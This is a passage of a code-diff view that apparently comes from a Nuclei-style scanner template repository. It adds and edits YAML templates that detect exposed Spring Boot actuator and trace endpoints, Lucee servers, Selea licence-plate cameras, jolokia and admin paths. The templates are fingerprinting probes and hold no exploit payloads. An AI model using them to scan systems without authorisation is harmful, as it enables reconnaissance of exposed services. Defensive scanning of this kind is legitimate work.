- "application/vnd.spring-boot.actuator.v1+json"
condition: or
part: header
@@ -0,0 +1,35 @@
id: springboot-trace
info:
name: Detect Springboot Trace Actuator
author: that_juan_ & dwisiswant0 & wdahlenb
severity: low
description: View recent HTTP requests and responses
requests:
- method: GET
path:
- "{{BaseURL}}/trace"
- "{{BaseURL}}/actuator/trace"
- "{{BaseURL}}/httptrace"
- "{{BaseURL}}/actuator/httptrace"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "traces"
- "response"
- "request"
- "principal"
condition: or
- type: status
status:
- 200
- type: word
words:
- "application/json"
- "application/vnd.spring-boot.actuator"
- "application/vnd.spring-boot.actuator.v1+json"
condition: or
part: header
+1 -1
View File
@@ -8,7 +8,7 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers-condition: and
@@ -9,11 +9,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/admin/"
- "{{BaseURL}}:8080/admin/"
- "{{BaseURL}}:8000/admin/"
- "{{BaseURL}}:9000/admin/"
- "{{BaseURL}}:9090/admin/"
- "{{BaseURL}}:3000/admin/"
matchers-condition: and
matchers:
@@ -0,0 +1,20 @@
id: detect-springboot-actuator
info:
name: Detect Springboot Actuators
author: that_juan_ & dwisiswant0 & wdahlenb
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/actuator"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"_links":{"self"'
- type: status
status:
- 200
-1
View File
@@ -8,7 +8,6 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}:8123/"
- "{{BaseURL}}"
matchers:
- type: word
-1
View File
@@ -9,7 +9,6 @@ requests:
- method: GET
path:
- '{{BaseURL}}/jolokia/version'
- '{{BaseURL}}:8080/jolokia/version'
matchers-condition: and
matchers:
- type: word
-2
View File
@@ -9,9 +9,7 @@ requests:
- method: GET
path:
- '{{BaseURL}}/api/jsonws'
- '{{BaseURL}}:8080/api/jsonws'
- '{{BaseURL}}/api/jsonws/invoke'
- '{{BaseURL}}:8080/api/jsonws/invoke'
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
+21
View File
@@ -0,0 +1,21 @@
id: lucee-detect
info:
name: Detect Lucee
author: geeknik
description: Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development -- https://github.com/lucee/Lucee/
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: regex
part: header
regex:
- "(?i)X-Lucee-Version"
- "(?i)X-CB-Server: LUCEE"
- "(?i)X-IDG-Appserver: Lucee"
condition: or
@@ -8,7 +8,6 @@ requests:
- method: GET
path:
- '{{BaseURL}}/graph'
- '{{BaseURL}}:9090/graph'
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
+25
View File
@@ -0,0 +1,25 @@
id: selea-ip-camera
info:
name: Detect Selea Targa IP OCR-ANPR Camera
author: geeknik
description: Selea Targa IP OCR-ANPR Camera Unauthenticated RTP/RTSP/M-JPEG Stream Disclosure -- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5619.php
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "SeleaCPSHttpServer"
- type: word
part: body
words:
- "Selea CarPlateServer"
- type: status
status:
- 200
+7 -1
View File
@@ -2746,4 +2746,10 @@ requests:
name: monit
part: header
words:
- 'Server: monit'
- 'Server: monit'
- type: word
name: thinkphp
words:
- "ThinkPHP"
part: header
Loaded 100 of 119 files, more files were not shown because too many files have changed in this diff. Show more